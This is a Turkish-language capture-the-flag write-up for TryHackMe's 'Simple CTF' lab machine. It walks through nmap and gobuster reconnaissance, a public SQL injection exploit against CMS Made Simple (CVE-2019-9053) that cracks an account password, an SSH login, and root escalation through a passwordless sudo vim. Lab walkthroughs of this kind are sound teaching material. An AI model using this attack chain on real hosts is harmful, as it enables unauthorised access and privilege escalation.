



CYBER-WARRIOR | AGOLA

ZAFİYETLİ MAKİNE ÇÖZÜM | SIMPLE CTF



Simple CTF

TryHackMe'de bulunan zafiyetli makinelerden biri olan "Simple CTF" üzerindeki "user" ve "root" flagleri yakalamaya çalışacağız.

1- Pentest metodolojisine göre öncelikle yapmamız gereken şey hedef ip üzerindeki çalışan servisleri öğrenebilmek için nmap ile bir tarama yapıyoruz.


```
agola@kali: ~  
agola@kali: ~  
agola@kali:~$ sudo nmap -sV -sS -sC -p- 10.10.155.210  
[sudo] password for agola:  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-04 14:09 UTC  
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan  
NSE Timing: About 0.00% done  
Nmap scan report for 10.10.155.210  
Host is up (0.070s latency).  
Not shown: 65532 filtered ports  
PORT      STATE SERVICE VERSION  
1/tcp     open  ftp      vsftpd 3.0.3  
ftp-anon: Anonymous FTP login allowed (FTP code 230)  
_Can't get directory listing: TIMEOUT  
ftp-syst:  
STAT:  
FTP server status:  
  Connected to ::ffff:10.9.154.21  
  Logged in as ftp  
  TYPE: ASCII  
  No session bandwidth limit  
  Session timeout in seconds is 300  
  Control connection is plain text  
  Data connections will be plain text  
  At session startup, client count was 3  
  vsFTPD 3.0.3 - secure, fast, stable  
_End of status  
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))  
_http-robots.txt: 2 disallowed entries  
_/openmvr-5.0.1.3  
_http-server-header: Apache/2.4.18 (Ubuntu)  
_http-title: Apache2 Ubuntu Default Page: It works  
2222/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)  
_ssh-hostkey:  
  2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)  
  256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)  
  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 144.68 seconds  
agola@kali:~$ _
```

2- Görünüşe göre ana makinede çalışan bir apache web sunucusu var. Bu yüzden gizli dizinleri bulan gobuster'ı kullanalım ve dizinlere ulaşalım.

```
agola@kali:~$ gobuster dir -u http://10.10.155.210 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://10.10.155.210
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:      10s
=====
2020/10/04 14:11:53 Starting gobuster
=====
/simpe (Status: 301)
/server-status (Status: 403)
```

3- "Robots.txt" ulaştık fakat incelediğimizde bize hiçbir şey vermiyor. "Simple" adında bir ilginç dizin daha var ve geçerli bir web yanıt kodu da var. Bu dizini kontrol edelim.

[10.10.155.210/simple/](#)[YouTube](#) [ÇEVİRİ](#) [Exploit-DB](#) [GTF0Bins](#) [Cyber-Warrio](#) [TryHackMe](#) [THM](#) [Aldeid](#)

CMS  **made simple**


[HOME](#) [HOW CMSMS WORKS](#) [DEFAULT TEMPLATES EXPLAINED](#) [DEFAULT EXTENSIONS](#)

POWER FOR PROFESSIONALS SIMPLICITY FOR END USERS

Enter Search...

Faster & Easier


Website management



News

GENERAL

NEWS MODULE INSTALLED

 Posted by: mitch
Category: General

You are here: [Home](#)

HOME

Congratulations! The installation worked. You now have a fully functional installation of CMS Made Simple and you are *almost* ready to start building your site.

If you chose to install the default content, you will see numerous pages available to read. You

4-Karışımızda bir İçerik Yönetim Sistemi (CMS) olduğunu öğrendik. Bu cms hakkında daha fazla bilgi bulalım.

cms made exploit

[Tümü](#) [Videolar](#) [Haberler](#) [Görseller](#) [Alışveriş](#) [Daha fazla](#) [Ayarlar](#) [Ara](#)

Yaklaşık 6.020.000 sonuç bulundu (0,63 saniye)

[www.exploit-db.com](#) > exploits > [Bu sayfanın çevirisini yap](#)

CMS Made Simple < 2.2.10 - SQL Injection - Exploit Database

2 Nis 2019 - **CMS Made Simple < 2.2.10 - SQL Injection.** CVE-2019-9053 . webapps exploit for PHP platform.

CMS Made Simple < 2.2.10 - SQL Injection

EDB-ID:

46635

CVE:

2019-9053

Author:

DANIELE SCANU

Type:

WEBAPPS

Platform:

PHP

Date:

2019-04-02

EDB Verified: ✗**Exploit:** ⬇ / {}**Vulnerable App:** ➕

5-Uygulama, SQL güvenlik açığına karşı savunmasızdır. Şimdi bu güvenlik açığından yararlanalım ve kullanıcı adı ve şifreyi bulabilecek miyiz bakalım. Bulduğumuz exploiti indiriyoruz. Ve belirtilen parametreler ile kullanıyoruz.

agola@kali: ~/Masaüstü

Dosya Eylemler Düzen Görünüm Yardım

agola@kali:~/Masaüstü\$ python exploit.py -u http://10.10.155.210/simple --crack -w /usr/share/wordlists/rockyou.txt_

```
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
```

6- Başarılı olduk kullanıcı adı ve şifreye ulaştık. Artık kullanıcı adımız ve şifremize sahip olduğumuza göre, Nmap tarama sonuçlarımızın da 2222 numaralı bağlantı noktasında çalışan ssh hizmetini gösterdiğini unutmayın, bu nedenle 2222 numaralı bağlantı noktasında ssh kullanarak makinede oturum açmayı deneyelim.

```
Dosya Eylemler Düzen Görünüm Yardım

    @@@@@@ @@@@@@@@ @@@@@@ @@@ @@@@@@
    @@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@@@@@@
    @! @@@ !@@ @@@ @! @@@ @! @@@
    !@ !@ !@ !@ !@ !@ !@ !@
    @!@!@! !@ !@!@ @!@ !@ @!! @!@!@!
    !!!@!!! !!! !!@!! !@! !!! !!! !!!@!!!!
    !!: !!! :!! !!: !!: !!! !!: !!: !!!
    :!: !:~ :!: !:~ :!: !:~ :!: :!: !:~
    :: :: :: :: :: :: :: :: ::
    : : : : : : : : : : :

agola@kali:~$ ssh mitch@10.10.155.210 -p 2222
The authenticity of host '[10.10.155.210]:2222 ([10.10.155.210]:2222)' can't be established.
ECDSA key fingerprint is SHA256:Fce5J4GBLgx1+iaSMBj0+NFK0jZvL5LOVF5/jc0kwt8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.155.210]:2222' (ECDSA) to the list of known hosts.
mitch@10.10.155.210's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ _
```

7- Şu anda "mitch" kullanıcısı ve bu yüzden ilk önce user flag ulaşmamız gerekiyor. Bulduğumuz dizini kontrol ettiğimizde flag zaten karışımıza çıkıyor.

```
$ cat user.txt
G00d j0b, keep up!
$ _
```

8- Root flage ulaşmak için ayrıcalıklarımızı yükseltmenin bir yolunu bulalım. Bakalım "Mitch" kullanıcısı neler yapabiliyor.

```
agola@kali: ~
Dosya Eylemler Düzen Görünüm Yardım

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
$ _
```

9- "sudo -l" komutunu kullandığımızda vim programının parolasız ve root yetkisi ile çalıştığını söylüyor. Vim'de bir kabuk oluşturmanıza izin veren bir seçenek var.

```
Dosya Eylemler Düzen Görünüm Yardım

$ sudo vim
```



```
type :help<Enter> or <F1> for on-line help
type :help version7<Enter> for version info
```

10- Ve işte root olduk ardından da root flag'e ulaştık.

```

agola@kali: ~
Dosya  Eylemler  Düzen  Görünüm  Yardım

$ sudo vim

# whoami
root
# ls
user.txt
# cd /root
# ls
root.txt
# cat root.txt
cat: 'root'$'\303''.txt': No such file or directory
# cat root.txt
W3ll d0n3. You made it!
# _

```

